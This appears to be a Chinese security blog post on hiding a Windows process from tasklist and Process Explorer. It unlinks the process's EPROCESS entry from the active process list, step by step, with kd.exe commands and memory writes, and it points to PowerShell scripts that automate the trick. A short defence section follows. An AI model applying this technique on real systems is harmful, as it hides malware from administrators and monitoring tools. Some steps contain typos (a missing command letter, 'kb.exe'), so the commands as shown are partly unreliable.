Powershell tricks__Hide Process by kd.exe

发布于 2024-10-02 13:10:37 字数 18390 浏览 8 评论 0

0x00 前言

Pierre-Alexandre Braeken 在 SecTor2016 上做了一个很棒的演讲——HACK MICROSOFT BY USING MICROSOFT SIGNED BINARIES

他对自己开源的工具 PowerMemory 做了介绍,将 powershell 同使用微软签名的程序相结合,可以绕过 Device Guard 和杀毒软件的拦截

0x01 简介

PowerMemory 内包含的脚本很多,其中一个比较有趣的脚本是 Hide-Me.ps1 ,通过借助 kb.exe 来实现对进程的隐藏

本文将对该脚本进行测试,介绍进程隐藏的原理,修改原脚本,分析利用和防御方法。

0x02 相关概念

PCB(process control block):

进程控制块,是系统为了管理进程专门设置的一个数据结构

PCB 的组织方式:

  • 线性表方式:不论进程的状态如何,将所有的 PCB 连续地存放在内存的系统区。这种方式适用于系统中进程数目不多的情况
  • 索引表方式:该方式是线性表方式的改进,系统按照进程的状态分别建立就绪索引表、阻塞索引表等
  • 链接表方式:系统按照进程的状态将进程的 PCB 组成队列,从而形成就绪队列、阻塞队列、运行队列等

不同操作系统的 PCB 结构不同

Windows 下的 PCB 是 EPROCESS 结构

进程链表是一个双向环链表

EPROCESS 结构:

每个进程都有一个 EPROCESS 结构,里面保存着进程的各种信息和相关结构的指针

注:Windows 各版本的 EPROCESS 结构存在差异

EPROCESS 结构位于系统地址空间,所以访问这个结构需要有 ring0 的权限

注:Windows 开启 Local kernel debugging 模式后,可进入 ring0,使用内核态调试器

基本的内核态调试器有以下两种:

  • kd.exe(KD)

    命令行模式

    常用于调试内核态的应用程序和驱动程序,调试用户态的应用程序,或者监视操作系统自身的行为等

  • windbg.exe(WinDbg)

    界面模式

    可以为 Windows 内核、内核态驱动程序以及用户态应用程序提供完整的源代码级调试

通过 kd.exe 可以查看 EPROCESS 结构,命令行参数如下:

kd -kl -y "srv*c:\symbols*http://msdl.microsoft.com/download/symbols" -c "dt nt!_eprocess"

回显如下:

lkd> kd: Reading initial command 'dt nt!_eprocess;Q'
   +0x000 Pcb              : _KPROCESS
   +0x2d8 ProcessLock      : _EX_PUSH_LOCK
   +0x2e0 RundownProtect   : _EX_RUNDOWN_REF
   +0x2e8 UniqueProcessId  : Ptr64 Void
   +0x2f0 ActiveProcessLinks : _LIST_ENTRY
   +0x300 Flags2           : Uint4B
   +0x300 JobNotReallyActive : Pos 0, 1 Bit
   +0x300 AccountingFolded : Pos 1, 1 Bit
   +0x300 NewProcessReported : Pos 2, 1 Bit
   +0x300 ExitProcessReported : Pos 3, 1 Bit
   +0x300 ReportCommitChanges : Pos 4, 1 Bit
   +0x300 LastReportMemory : Pos 5, 1 Bit
   +0x300 ForceWakeCharge  : Pos 6, 1 Bit
   +0x300 CrossSessionCreate : Pos 7, 1 Bit
   +0x300 NeedsHandleRundown : Pos 8, 1 Bit
   +0x300 RefTraceEnabled  : Pos 9, 1 Bit
   +0x300 DisableDynamicCode : Pos 10, 1 Bit
   +0x300 EmptyJobEvaluated : Pos 11, 1 Bit
   +0x300 DefaultPagePriority : Pos 12, 3 Bits
   +0x300 PrimaryTokenFrozen : Pos 15, 1 Bit
   +0x300 ProcessVerifierTarget : Pos 16, 1 Bit
   +0x300 StackRandomizationDisabled : Pos 17, 1 Bit
   +0x300 AffinityPermanent : Pos 18, 1 Bit
   +0x300 AffinityUpdateEnable : Pos 19, 1 Bit
   +0x300 PropagateNode    : Pos 20, 1 Bit
   +0x300 ExplicitAffinity : Pos 21, 1 Bit
   +0x300 ProcessExecutionState : Pos 22, 2 Bits
   +0x300 DisallowStrippedImages : Pos 24, 1 Bit
   +0x300 HighEntropyASLREnabled : Pos 25, 1 Bit
   +0x300 ExtensionPointDisable : Pos 26, 1 Bit
   +0x300 ForceRelocateImages : Pos 27, 1 Bit
   +0x300 ProcessStateChangeRequest : Pos 28, 2 Bits
   +0x300 ProcessStateChangeInProgress : Pos 30, 1 Bit
   +0x300 DisallowWin32kSystemCalls : Pos 31, 1 Bit
   +0x304 Flags            : Uint4B
   +0x304 CreateReported   : Pos 0, 1 Bit
   +0x304 NoDebugInherit   : Pos 1, 1 Bit
   +0x304 ProcessExiting   : Pos 2, 1 Bit
   +0x304 ProcessDelete    : Pos 3, 1 Bit
   +0x304 ControlFlowGuardEnabled : Pos 4, 1 Bit
   +0x304 VmDeleted        : Pos 5, 1 Bit
   +0x304 OutswapEnabled   : Pos 6, 1 Bit
   +0x304 Outswapped       : Pos 7, 1 Bit
   +0x304 FailFastOnCommitFail : Pos 8, 1 Bit
   +0x304 Wow64VaSpace4Gb  : Pos 9, 1 Bit
   +0x304 AddressSpaceInitialized : Pos 10, 2 Bits
   +0x304 SetTimerResolution : Pos 12, 1 Bit
   +0x304 BreakOnTermination : Pos 13, 1 Bit
   +0x304 DeprioritizeViews : Pos 14, 1 Bit
   +0x304 WriteWatch       : Pos 15, 1 Bit
   +0x304 ProcessInSession : Pos 16, 1 Bit
   +0x304 OverrideAddressSpace : Pos 17, 1 Bit
   +0x304 HasAddressSpace  : Pos 18, 1 Bit
   +0x304 LaunchPrefetched : Pos 19, 1 Bit
   +0x304 Background       : Pos 20, 1 Bit
   +0x304 VmTopDown        : Pos 21, 1 Bit
   +0x304 ImageNotifyDone  : Pos 22, 1 Bit
   +0x304 PdeUpdateNeeded  : Pos 23, 1 Bit
   +0x304 VdmAllowed       : Pos 24, 1 Bit
   +0x304 ProcessRundown   : Pos 25, 1 Bit
   +0x304 ProcessInserted  : Pos 26, 1 Bit
   +0x304 DefaultIoPriority : Pos 27, 3 Bits
   +0x304 ProcessSelfDelete : Pos 30, 1 Bit
   +0x304 SetTimerResolutionLink : Pos 31, 1 Bit
   +0x308 CreateTime       : _LARGE_INTEGER
   +0x310 ProcessQuotaUsage : [2] Uint8B
   +0x320 ProcessQuotaPeak : [2] Uint8B
   +0x330 PeakVirtualSize  : Uint8B
   +0x338 VirtualSize      : Uint8B
   +0x340 SessionProcessLinks : _LIST_ENTRY
   +0x350 ExceptionPortData : Ptr64 Void
   +0x350 ExceptionPortValue : Uint8B
   +0x350 ExceptionPortState : Pos 0, 3 Bits
   +0x358 Token            : _EX_FAST_REF
   +0x360 WorkingSetPage   : Uint8B
   +0x368 AddressCreationLock : _EX_PUSH_LOCK
   +0x370 PageTableCommitmentLock : _EX_PUSH_LOCK
   +0x378 RotateInProgress : Ptr64 _ETHREAD
   +0x380 ForkInProgress   : Ptr64 _ETHREAD
   +0x388 CommitChargeJob  : Ptr64 _EJOB
   +0x390 CloneRoot        : _RTL_AVL_TREE
   +0x398 NumberOfPrivatePages : Uint8B
   +0x3a0 NumberOfLockedPages : Uint8B
   +0x3a8 Win32Process     : Ptr64 Void
   +0x3b0 Job              : Ptr64 _EJOB
   +0x3b8 SectionObject    : Ptr64 Void
   +0x3c0 SectionBaseAddress : Ptr64 Void
   +0x3c8 Cookie           : Uint4B
   +0x3d0 WorkingSetWatch  : Ptr64 _PAGEFAULT_HISTORY
   +0x3d8 Win32WindowStation : Ptr64 Void
   +0x3e0 InheritedFromUniqueProcessId : Ptr64 Void
   +0x3e8 LdtInformation   : Ptr64 Void
   +0x3f0 OwnerProcessId   : Uint8B
   +0x3f8 Peb              : Ptr64 _PEB
   +0x400 Session          : Ptr64 Void
   +0x408 AweInfo          : Ptr64 Void
   +0x410 QuotaBlock       : Ptr64 _EPROCESS_QUOTA_BLOCK
   +0x418 ObjectTable      : Ptr64 _HANDLE_TABLE
   +0x420 DebugPort        : Ptr64 Void
   +0x428 WoW64Process     : Ptr64 _EWOW64PROCESS
   +0x430 DeviceMap        : Ptr64 Void
   +0x438 EtwDataSource    : Ptr64 Void
   +0x440 PageDirectoryPte : Uint8B
   +0x448 ImageFilePointer : Ptr64 _FILE_OBJECT
   +0x450 ImageFileName    : [15] UChar
   +0x45f PriorityClass    : UChar
   +0x460 SecurityPort     : Ptr64 Void
   +0x468 SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO
   +0x470 JobLinks         : _LIST_ENTRY
   +0x480 HighestUserAddress : Ptr64 Void
   +0x488 ThreadListHead   : _LIST_ENTRY
   +0x498 ActiveThreads    : Uint4B
   +0x49c ImagePathHash    : Uint4B
   +0x4a0 DefaultHardErrorProcessing : Uint4B
   +0x4a4 LastThreadExitStatus : Int4B
   +0x4a8 PrefetchTrace    : _EX_FAST_REF
   +0x4b0 LockedPagesList  : Ptr64 Void
   +0x4b8 ReadOperationCount : _LARGE_INTEGER
   +0x4c0 WriteOperationCount : _LARGE_INTEGER
   +0x4c8 OtherOperationCount : _LARGE_INTEGER
   +0x4d0 ReadTransferCount : _LARGE_INTEGER
   +0x4d8 WriteTransferCount : _LARGE_INTEGER
   +0x4e0 OtherTransferCount : _LARGE_INTEGER
   +0x4e8 CommitChargeLimit : Uint8B
   +0x4f0 CommitCharge     : Uint8B
   +0x4f8 CommitChargePeak : Uint8B
   +0x500 Vm               : _MMSUPPORT
   +0x5f8 MmProcessLinks   : _LIST_ENTRY
   +0x608 ModifiedPageCount : Uint4B
   +0x60c ExitStatus       : Int4B
   +0x610 VadRoot          : _RTL_AVL_TREE
   +0x618 VadHint          : Ptr64 Void
   +0x620 VadCount         : Uint8B
   +0x628 VadPhysicalPages : Uint8B
   +0x630 VadPhysicalPagesLimit : Uint8B
   +0x638 AlpcContext      : _ALPC_PROCESS_CONTEXT
   +0x658 TimerResolutionLink : _LIST_ENTRY
   +0x668 TimerResolutionStackRecord : Ptr64 _PO_DIAG_STACK_RECORD
   +0x670 RequestedTimerResolution : Uint4B
   +0x674 SmallestTimerResolution : Uint4B
   +0x678 ExitTime         : _LARGE_INTEGER
   +0x680 InvertedFunctionTable : Ptr64 _INVERTED_FUNCTION_TABLE
   +0x688 InvertedFunctionTableLock : _EX_PUSH_LOCK
   +0x690 ActiveThreadsHighWatermark : Uint4B
   +0x694 LargePrivateVadCount : Uint4B
   +0x698 ThreadListLock   : _EX_PUSH_LOCK
   +0x6a0 WnfContext       : Ptr64 Void
   +0x6a8 Spare0           : Uint8B
   +0x6b0 SignatureLevel   : UChar
   +0x6b1 SectionSignatureLevel : UChar
   +0x6b2 Protection       : _PS_PROTECTION
   +0x6b3 HangCount        : UChar
   +0x6b4 Flags3           : Uint4B
   +0x6b4 Minimal          : Pos 0, 1 Bit
   +0x6b4 ReplacingPageRoot : Pos 1, 1 Bit
   +0x6b4 DisableNonSystemFonts : Pos 2, 1 Bit
   +0x6b4 AuditNonSystemFontLoading : Pos 3, 1 Bit
   +0x6b4 Crashed          : Pos 4, 1 Bit
   +0x6b4 JobVadsAreTracked : Pos 5, 1 Bit
   +0x6b4 VadTrackingDisabled : Pos 6, 1 Bit
   +0x6b4 AuxiliaryProcess : Pos 7, 1 Bit
   +0x6b4 SubsystemProcess : Pos 8, 1 Bit
   +0x6b4 IndirectCpuSets  : Pos 9, 1 Bit
   +0x6b4 InPrivate        : Pos 10, 1 Bit
   +0x6b4 ProhibitRemoteImageMap : Pos 11, 1 Bit
   +0x6b4 ProhibitLowILImageMap : Pos 12, 1 Bit
   +0x6b4 SignatureMitigationOptIn : Pos 13, 1 Bit
   +0x6b8 DeviceAsid       : Int4B
   +0x6c0 SvmData          : Ptr64 Void
   +0x6c8 SvmProcessLock   : _EX_PUSH_LOCK
   +0x6d0 SvmLock          : Uint8B
   +0x6d8 SvmProcessDeviceListHead : _LIST_ENTRY
   +0x6e8 LastFreezeInterruptTime : Uint8B
   +0x6f0 DiskCounters     : Ptr64 _PROCESS_DISK_COUNTERS
   +0x6f8 PicoContext      : Ptr64 Void
   +0x700 TrustletIdentity : Uint8B
   +0x708 KeepAliveCounter : Uint4B
   +0x70c NoWakeKeepAliveCounter : Uint4B
   +0x710 HighPriorityFaultsAllowed : Uint4B
   +0x718 EnergyValues     : Ptr64 _PROCESS_ENERGY_VALUES
   +0x720 VmContext        : Ptr64 Void
   +0x728 SequenceNumber   : Uint8B
   +0x730 CreateInterruptTime : Uint8B
   +0x738 CreateUnbiasedInterruptTime : Uint8B
   +0x740 TotalUnbiasedFrozenTime : Uint8B
   +0x748 LastAppStateUpdateTime : Uint8B
   +0x750 LastAppStateUptime : Pos 0, 61 Bits
   +0x750 LastAppState     : Pos 61, 3 Bits
   +0x758 SharedCommitCharge : Uint8B
   +0x760 SharedCommitLock : _EX_PUSH_LOCK
   +0x768 SharedCommitLinks : _LIST_ENTRY
   +0x778 AllowedCpuSets   : Uint8B
   +0x780 DefaultCpuSets   : Uint8B
   +0x778 AllowedCpuSetsIndirect : Ptr64 Uint8B
   +0x780 DefaultCpuSetsIndirect : Ptr64 Uint8B

其中, +0x2f0 ActiveProcessLinks : _LIST_ENTRY 表示进程活动链表

进程活动链表:

是一个 PLIST_ENTRY 结构的双向链表,把每个 EPROCESS 链接起来

当一个新进程建立的时候,父进程负责完成 EPROCESS 块,然后把 ActiveProcessLinks 链接到一个全局内核变量 PsActiveProcessHead 链表中

当进程结束的时候,该进程的 EPROCESS 结构从活动进程链上摘除

遍历整个链表,就能实现对进程的枚举

双链表的删除操作:

如图

Alt text

void DDeleteNode(DListNode p) {//在带头结点的双链表中,删除结点p,设*p 为非终端结点 p->prior->next=p->next;//① (使 p 的前一个结点的后驱直接指向 原来的 p 的后驱) p->next->prior=p->prior;//② (使 p 的后一个结点的前驱 直接为原来 p 的前一个结点) free(p);//③ (释放 p 的内存) }

图和说明引用自 http://blog.163.com/haibianfeng_yr/blog/static/34572620201453061036702/

隐藏进程:

相当于对双向链表 ActiveProcessLinks 断链

对应双链表的删除需要做如下操作:

  1. p->prior->next=p->next Flink->Blink=Blink
  2. p->next->prior=p->prior Blink->Flink = Flink
  3. free(p) Blink =dwSelfEPROCESS Flink = dwSelfEPROCESS

接下来实例介绍如何通过 kd.exe 隐藏进程,也就是双链表的断链

0x03 通过 kd.exe 隐藏进程

环境搭建:

  • 开启 Local kernel debugging 模式

注:自从 Windows Vista 开始,Local kernel debugging 默认被禁用

开启方法:

管理员权限执行: bcdedit -debug on ,重启

下载安装 Debugging Tools for Windows,找到 kd.exe

测试进程: notepad.exe 测试系统: Win10 x64

1、获取 notepad.exe 的内存起始地址

kd 命令:

!process 0 0 $processName

完整命令:

kd -kl -y "srv*c:\symbols*http://msdl.microsoft.com/download/symbols" -c "!process 0 0 notepad.exe;Q"

如图

Alt text

notepad.exe 的内存起始地址$processAddress 为 ffffe00195236080

2、获取进程 notepad.exe 的 Flink 和 Blink

kd 命令:

dt nt!_eprocess ActiveProcessLinks ImageFileName $processAddress

完整命令:

kd -kl -y "srv*c:\symbols*http://msdl.microsoft.com/download/symbols" -c "dt nt!_eprocess ActiveProcessLinks ImageFileName ffffe00195236080;Q"

如图

Alt text

注:

FLINK 指针指向下一个元素,相当于双链表中的 p->next
BLINK 指针指向前一个元素,相当于双链表中的 p->prior
_LIST_ENTRY 结构如下:
_LIST_ENTRY[Flink-Blink]
前一参数代表 Flink,后一参数代表 Blink

由上图可知:

  • $Flink:0xffffe001`93e1a370
  • $Blink:0xffffe001`9604f6f0

3、获取进程 notepad.exe 在双链表的地址$thisProcessLinks

kd 命令:

dt nt!_eprocess ActiveProcessLinks.Blink ImageFileName $processAddress

完整命令:

kd -kl -y "srv*c:\symbols*http://msdl.microsoft.com/download/symbols" -c "dt nt!_eprocess ActiveProcessLinks.Blink ImageFileName ffffe00195236080;Q"

如图

Alt text

可知:$thisProcessLinks:0xffffe001`95236370

注:dt nt!_eprocess ActiveProcessLinks.Blink ImageFileName 相当于进程 notepad.exe 的前一个进程

+0x008 Blink : 0xffffe001`9604f6f0 _LIST_ENTRY [0xffffe001`95236370-Blink]

中的 0xffffe001`95236370 相当于进程 notepad.exe 在双链表的地址$thisProcessLinks

补充:

+0x000 Flink: 0xffffe001`93e1a370 _LIST_ENTRY[Flink-Blink]中的 Blink 也能代表双链表的地址$thisProcessLinks

简单的理解:

当前进程的 Blink 的 Flink 等价于当前进程的 Flink 的 Blink,也就是当前进程的地址$thisProcessLinks

4、将前一进程指向下一个元素的指针 FLINK 替换为当前进程的 FLINK 指针(Flink->Blink=Blink)

即双链表删除操作的第 1 步:p->prior->next=p->next

kd 命令:

f $Blink+0x000 L4 ($Flink 的第 0 字节) ($Flink 的第 1 字节) ($Flink 的第 2 字节) ($Flink 的第 3 字节)

注:

+0x000 代表 Flink
+0x008 代表 Blink
$Blink+0x000 代表 p->prior->next(0x000 为 0,可省略)
L4 参数指定内存区间的长度为 4 个 DWORD

完整命令:

kd -kl -y "srv*c:\symbols*http://msdl.microsoft.com/download/symbols" -c "f 0xffffe001`9604f6f0 L4 0x70 0xa3 0xe1 0x93;Q"

如图

Alt text

操作成功,实现双链表删除中的 p->prior->next=p->next

5、将下一进程指向前一个元素的指针 Blink 替换为当前进程的 BLINK 指针

即双链表删除操作的第 2 步:

p->next->prior=p->prior

kd 命令:

f $Flink+0x008 L4 ($Blink 的第 0 字节) ($Blink 的第 1 字节) ($Blink 的第 2 字节) ($Blink 的第 3 字节)

注:

+0x008 代表 Blink
$Flink++0x008 代表 p->next->prior

完整命令:

kd -kl -y "srv*c:\symbols*http://msdl.microsoft.com/download/symbols" -c "f 0xffffe001`93e1a370 L4 0xf0 0xf6 0x04 0x96;Q"

如图

Alt text

操作成功,实现双链表删除中的 p->next->prior=p->prior

6、进程自身的新 Flink 指向进程自身的双链表地址$thisProcessLinks

kd 命令:

f $thisProcessLinks+0x000 L4 ($thisProcessLinks 的第 0 字节) ($thisProcessLinks 的第 1 字节) ($thisProcessLinks 的第 2 字节) (thisProcessLinks 的第 3 字节)

注:

+0x000 代表 Flink

完整命令:

kd -kl -y "srv*c:\symbols*http://msdl.microsoft.com/download/symbols" -c "0xffffe001`95236370 L4 0x70 0x63 0x23 0x95;Q"

如图

Alt text

7、进程自身的新 Blink 指向进程自身的双链表地址$thisProcessLinks

kd 命令:

f $thisProcessLinks+0x008 L4 ($thisProcessLinks 的第 0 字节) ($thisProcessLinks 的第 1 字节) ($thisProcessLinks 的第 2 字节) (thisProcessLinks 的第 3 字节)

注:

+0x008 代表 Blink

完整命令:

kd -kl -y "srv*c:\symbols*http://msdl.microsoft.com/download/symbols" -c "0xffffe001`95236370+0x008 L4 0x70 0x63 0x23 0x95;Q"

如图

Alt text

注:

7、8 操作必须,对应双链表删除操作中的 free(p),否则会蓝屏

8、测试

在 tasklist 和 Process Explorer 中,notepad.exe 进程均被隐藏

0x04 powershell 自动实现

以上操作可通过 powershell 脚本自动实现,这就是 Hide-Me.ps1 实现的功能

Hide-Me.ps1 有一处需要注意的地方: https://github.com/giMini/PowerMemory/blob/master/PowerProcess/Hide-Me.ps1#L128

f $BLINK L4 0x$($FLINK.Substring(17,2)) 0x$($FLINK.Substring(15,2)) 0x$($FLINK.Substring(13,2)) 0x$($FLINK.Substring(11,2))"

此处 $BLINK 实际为 $BLINK+0x000 ,表示 p->prior->next (0x000 为 0,已省略)

适用环境:

  • Win7、8、10 64 位操作系统

利用前提:

  • 开启 Local kernel debugging 模式
  • 管理员权限执行:bcdedit -debug on
  • 重启后测试

由于 PowerMemory 做了脚本整合,所以 Hide-Me.ps1 还需要其他支持文件

我对其进行了少量修改,只提取隐藏进程的关键代码,最终整合到一个 ps 脚本中,地址如下:https://github.com/3gstudent/Hide-Process-by-kd.exe

0x05 防御思路

该方法利用前提:

已获得系统管理员权限并开启 Local kernel debugging 模式,系统重启,也就是说攻击者已进入 ring 0 层才能利用这个方法,对于普通用户,可以永久关闭 Local kernel debugging 模式:

  • bcdedit -debug off

0x06 补充

  • 该脚本尚不支持 32 位系统
  • Windbg 也能实现相同操作

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

0 文章
0 评论
22 人气
更多

推荐作者

qq_7J1imQ

文章 0 评论 0

《一串符号》

文章 0 评论 0

hls.

文章 0 评论 0

雅心素梦

文章 0 评论 0

塔塔猫

文章 0 评论 0

微信用户

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文